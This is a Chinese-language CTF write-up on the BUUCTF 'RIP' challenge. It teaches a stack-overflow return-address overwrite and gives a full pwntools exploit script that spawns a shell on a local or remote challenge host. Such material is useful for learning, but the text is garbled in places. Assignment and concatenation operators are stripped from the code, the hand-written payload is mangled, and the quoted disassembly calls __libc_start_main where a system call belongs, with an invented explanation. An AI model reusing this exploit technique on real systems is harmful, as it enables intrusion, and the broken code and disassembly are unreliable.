从BUUCTF RIP题入门栈溢出:原理、调试与ROP链基础

从BUUCTF RIP题入门栈溢出:原理、调试与ROP链基础
1. 从一道经典栈溢出题说起为什么是RIP如果你刚开始接触二进制安全尤其是PWN方向那么BUUCTF上的这道名为“RIP”的题目大概率是你的“新手村”任务。题目名字起得直白又巧妙——“RIP”在x86-64架构的汇编语境下它指的就是指令指针寄存器Instruction Pointer也就是我们常说的程序计数器PC。而在网络安全俚语里“R.I.P.”又有“安息吧”的意味暗示着这道题的核心就是通过覆盖RIP寄存器让程序执行流“安息”在我们指定的地方。这道题之所以经典是因为它剥离了所有复杂的干扰项将PWN中最核心、最基础的概念——“栈溢出控制返回地址”——赤裸裸地呈现在你面前。没有Canary栈保护没有PIE地址随机化没有复杂的堆操作就是一个最简单的、有漏洞的gets函数调用。你的目标只有一个通过输入超长的字符串覆盖掉栈上保存的返回地址从而劫持程序的执行流程。我第一次做这道题时感觉就像在学游泳时教练直接把所有浮板都撤掉告诉你“现在跳下去游到对岸。” 它强迫你去理解栈的结构、函数调用约定、以及最关键的一点在内存中数据和指令没有本质区别它们都是一串字节区别只在于CPU如何解读它们。覆盖返回地址就是告诉CPU“别回main函数了去执行我放在这里的这串字节吧。” 这就是PWN的起点。2. 环境搭建与题目初探看见漏洞本身在开始“攻击”之前我们得先搭建好“战场”。通常我会推荐使用Docker或者直接下载题目提供的文件到本地配合pwntools、gdb和checksec等工具进行分析。对于BUUCTF的题目你可以直接从平台下载附件。拿到题目文件通常是一个名为pwn或rip的ELF可执行文件第一件事不是急着运行而是用checksec工具检查一下它的安全机制。checksec ./rip你大概率会看到类似这样的输出Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这份“体检报告”非常友好Arch: amd64-64-little: 64位程序小端序。这决定了我们构造payload时字节的排列顺序。Stack: No canary found:没有栈溢出保护。这是本题能解的关键如果有Canary我们覆盖返回地址时会先破坏这个“金丝雀”值程序会立刻崩溃并报警。NX: NX enabled: 栈不可执行。这意味着我们不能简单地把shellcode放在栈上然后跳过去执行因为CPU会拒绝执行栈上的代码。这迫使我们需要寻找其他“跳板”。PIE: No PIE:没有地址随机化。这是另一个关键程序加载的基地址是固定的0x400000。这意味着我们通过反汇编找到的函数地址比如main、fun或者后门函数s在每次运行时都是相同的我们可以直接硬编码在payload里。接下来我们用反汇编工具如objdump -d或IDA Pro、Ghidra看一眼程序逻辑。核心代码通常极其简单#include stdio.h #include stdlib.h void fun() { char s[15]; gets(s); puts(s); } int main() { fun(); return 0; }或者它的汇编版本核心部分是这样的sub rsp, 0x10 ; 在栈上为局部变量s分配16字节空间虽然只用了15 lea rax, [rbp-0xf] ; 将s的地址加载到rax mov rdi, rax ; 将地址作为参数传递给gets call 0x4005a0 getsplt ; 调用危险的gets函数 ...漏洞一目了然gets函数会一直读取输入直到遇到换行符或EOF它不检查目标缓冲区的大小。而栈上为字符数组s分配的空间只有15字节实际可能因对齐分配16字节。只要我们输入超过15个字符多出来的部分就会覆盖栈上的其他数据最终覆盖到fun函数的返回地址。注意这里有一个初学者常混淆的点。s的大小是15但为什么偏移量可能是别的数字因为栈上除了局部变量还保存着调用者的rbp帧指针和返回地址。在64位系统中rbp和返回地址各占8字节。所以从数组s的起始位置到返回地址的偏移需要根据反汇编具体计算通常是s的大小 8(rbp)。这就是我们下一步要精确计算的。3. 计算精确偏移找到那个“甜蜜点”控制执行流的前提是知道我们的输入字符串中从第几个字节开始会覆盖到返回地址。这个位置就是“偏移量”。猜是猜不准的我们需要动态调试来定位。这里我分享两种最常用的方法推荐新手都掌握方法一使用Cyclic Pattern循环模式这是pwntools提供的“神器”。它生成一段无重复的、易于辨认的字符串。当程序因返回地址被覆盖成一个非法地址而崩溃时我们查看崩溃时RIP寄存器的值或者栈上特定的值再用这个工具反推出偏移量。from pwn import * # 生成一个200字节的pattern pattern cyclic(200) print(pattern) # 输出类似baaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab然后我们写一个简单的脚本或者用gdb手动运行程序输入这个pattern。程序崩溃后在gdb里用info frame或x/gx $rsp查看栈顶或者直接看崩溃信息。假设崩溃时RIP的值是0x6161616a61616169‘iaaajaaa’的十六进制形式。# 用这个值反推偏移 offset cyclic_find(biaaa) # 注意通常查找4字节或8字节的子串 print(fOffset to RIP: {offset})在我的测试中对于这道题偏移量通常是23。这意味着我们需要先填充23个任意字符通常用‘A’或‘a’从第24个字节开始就是我们写入新RIP值的地方。实操心得cyclic_find有时对64位地址不太友好因为它是8字节。更稳妥的方法是查看栈布局。在gdb中在gets函数返回前下断点查看$rbp和返回地址的位置然后计算与缓冲区起始地址的差值。cyclic的优势在于自动化但在理解原理阶段手动计算一次印象更深刻。方法二动态调试与观察在gdb中运行程序在调用gets之前下断点。gdb ./rip b *0x4005xx (gets调用后的地址) r单步执行到gets之后输入一长串明显的字符比如A*50。程序崩溃后用x/30gx $rsp命令以8字节为单位查看栈内存。你会看到一大片0x4141414141414141‘A’的ASCII码是0x41。找到这片“A”的结束位置以及其后第一个不是0x4141414141414141的值那个位置就是返回地址原本所在的位置。数一数前面有多少个‘A’偏移量就出来了。两种方法结合使用能确保你找到的偏移量是准确的。对于本题我们确认偏移量是23。4. 寻找攻击目标没有shellcode我们跳去哪现在我们知道怎么覆盖RIP了但覆盖成什么地址呢NX保护开启了栈上的“A”0x41不可执行直接跳过去只会引发段错误。我们需要在程序本身或它链接的库中找到一段现成的、对我们有利的代码来跳转。这种代码片段称为“Gadget”。对于最简单的栈溢出目标通常是调用system(“/bin/sh”)启动一个shell。执行后门函数题目有时会故意留一个诸如shell()、win()、get_flag()这样的函数。用objdump -t ./rip | grep “win\|shell\|backdoor\|flag”或者直接在反汇编工具里搜索我们惊喜地发现本题就有一个现成的后门函数0000000000401186 shell: 401186: 55 push rbp 401187: 48 89 e5 mov rbp, rsp 40118a: 48 83 ec 10 sub rsp, 0x10 40118e: bf 01 00 00 00 mov edi, 0x1 401193: e8 b8 fe ff ff call 401050 __libc_start_mainplt0xa0 401198: 89 45 fc mov DWORD PTR [rbp-0x4], eax 40119b: 83 7d fc 00 cmp DWORD PTR [rbp-0x4], 0x0 40119f: 75 0a jne 4011ab shell0x25 4011a1: bf 02 00 00 00 mov edi, 0x2 4011a6: e8 a5 fe ff ff call 401050 __libc_start_mainplt0xa0 4011ab: 48 8d 3d 56 0e 00 00 lea rdi, [rip0xe56] # 402008 /bin/sh 4011b2: e8 99 fe ff ff call 401050 __libc_start_mainplt0xa0 4011b7: 90 nop 4011b8: c9 leave 4011b9: c3 ret看地址0x4011ab处的指令lea rdi, [rip0xe56]。这行代码将rip0xe56这个地址加载到rdi寄存器。rip指向下一条指令所以rip0xe56计算后正好是地址0x402008。我们用gdb或xxd查看一下这个地址的内容gdb ./rip x/s 0x402008输出会是0x402008: “/bin/sh”紧接着的call指令实际上跳转到了一个统一的“函数调用器”可能是system或execve的包装。所以跳转到0x4011ab就相当于执行了system(“/bin/sh”)这就是我们梦寐以求的“后门”。为什么是0x4011ab而不是shell函数的开头0x401186这是一个关键细节。直接跳转到shell开头程序会执行一些初始化和检查比如前面对edi的赋值和比较这些可能依赖于特定环境或导致意外分支。而0x4011ab是直接准备参数并调用系统命令的地方更直接、更可靠。在实战中要仔细观察反汇编代码选择最精准的跳转地址避免节外生枝。5. 构造Payload与编写利用脚本信息齐备现在可以构造攻击载荷Payload了。填充物23个字节的任意字符如‘A’用于填满缓冲区直到返回地址之前。目标地址后门函数中“/bin/sh”参数被加载的地址即0x4011ab。地址格式64位系统地址是8字节。并且由于是小端序Little Endian低位字节在前。所以0x4011ab在内存中要写成\xab\x11\x40\x00\x00\x00\x00\x00。一个手动的payload看起来像这样23个‘A’ 小端序的地址AAAAAAAAAAAAAAAAAAAAAAAb\x11注意在终端或Python字符串中空字节\x00可能会被截断但gets函数读入时空字节是合法的填充。在pwntools中我们用p64()函数来完美处理打包。下面是用pwntools编写的完整利用脚本from pwn import * # 设置上下文特别是架构这会影响p64()等函数的行为 context(archamd64, oslinux) # 如果是远程攻击用 remote(node4.buuoj.cn, 端口) # io remote(node4.buuoj.cn, 29999) # 本地测试 io process(./rip) # 计算好的偏移量 offset 23 # 后门函数中加载“/bin/sh”并调用的地址 shell_addr 0x4011ab # 构造payload payload bA * offset # 填充垃圾数据 payload p64(shell_addr) # 覆盖返回地址为后门地址 # 调试可以发送payload前先pause方便attach gdb # raw_input(“Attach gdb and press ENTER...”) # 发送payload io.sendline(payload) # 将交互权交给我们拿到shell后 io.interactive()脚本逐行解析与避坑指南context(arch’amd64’, os’linux’): 这行至关重要。它告诉pwntools当前的目标架构和系统确保p64()、u64()等函数能正确工作。如果不设置默认可能是i386导致打包的地址长度错误。process(‘./rip’): 启动本地程序。如果连接远程需替换为remote(‘主机’, 端口)。BUUCTF的题目通常会在题目描述里给出远程连接信息。p64(shell_addr): 这是核心函数。它将一个64位整数打包成小端序的8字节字节串。例如p64(0x4011ab)会得到b’\xab\x11\x40\x00\x00\x00\x00\x00’。io.sendline(payload): 发送我们的payload末尾会自动加一个换行符\n这正好是gets函数读取的终止符之一。io.interactive(): 发送payload后如果攻击成功程序会执行/bin/sh打开一个shell。这条命令将终端控制权交给我们让我们可以在这个shell里执行命令如cat flag。常见问题与排查脚本运行后没反应或立即退出首先检查偏移量是否正确。可以用gdb附加gdb attach pid到进程在gets返回前下断点单步观察栈是否被正确覆盖。其次检查跳转地址是否正确。用objdump或IDA再三确认shell函数的反汇编代码。拿到shell但cat flag没显示或报错这可能是因为打开的shell是交互式的但输入输出流有问题。尝试在payload后发送命令payload b’cat flag\n’然后用io.recvall()接收输出。或者使用io.sendline(‘cat flag’)后再io.recv()。远程连接问题确保网络通畅端口正确。BUUCTF有时会更新题目或端口以平台最新信息为准。6. 拓展思考如果没有后门函数怎么办“RIP”这道题很仁慈给了现成的后门。但现实中绝大多数程序不会这么友好。如果没有shell函数我们该怎么办这就引出了PWN中更通用的技术Return-Oriented Programming (ROP)。核心思路是既然我们不能执行栈上的代码NX那就利用程序本身和库文件如libc.so中已有的、以ret指令结尾的小代码片段Gadget像搭积木一样拼接出一系列操作最终达到调用system(“/bin/sh”)的目的。一个典型的64位Linux系统下调用system(“/bin/sh”)的ROP链需要将字符串“/bin/sh”的地址放入rdi寄存器64位下第一个参数寄存器。跳转到system函数的地址。那么我们需要找到两个Gadgetpop rdi; ret这个Gadget会从栈上弹出一个值到rdi寄存器然后ret到下一个地址。我们可以把“/bin/sh”的地址放在栈上让它“弹”进rdi。system的地址需要计算libc的基地址加上system函数的偏移。这涉及到信息泄露Leak来获取libc的地址从而绕过ASLR地址空间布局随机化。这比本题复杂得多是PWN学习路上的下一个里程碑。但它的基础正是你在“RIP”这道题里学会的——控制那个至关重要的RIP寄存器。7. 总结与安全启示回顾这道“RIP”它像一本精简的教科书教会了我们栈溢出攻击的完整链条识别漏洞不安全的函数gets,strcpy,sprintf等。分析防护用checksec查看安全机制本题关键是无Canary和No PIE。定位偏移通过动态调试或Pattern精确计算从输入点到返回地址的字节距离。寻找目标在程序空间中寻找有用的代码片段或函数地址。构造利用组合填充物和目标地址构造能劫持控制流的Payload。编写脚本使用pwntools等工具自动化攻击过程。从开发者角度这道题也是一个鲜明的警示绝对不要使用gets这类不检查边界的安全函数。在现代C/C开发中应使用fgets、snprintf等带有长度参数的函数或者使用更安全的字符串库。编译器提供的栈保护-fstack-protector、地址随机化PIE等安全编译选项也应在生产环境中默认开启。对我个人而言每次带新人入门PWN我都会让他们从“RIP”这样的题目开始。它带来的那种“通过几行输入就让计算机乖乖执行我命令”的成就感是无与伦比的。更重要的是它建立了最底层的认知软件的安全边界是如此脆弱而理解它如何运作是构建更安全系统的第一步。当你成功弹出第一个shell看到那个$或#提示符时你才算真正推开了二进制安全世界的大门。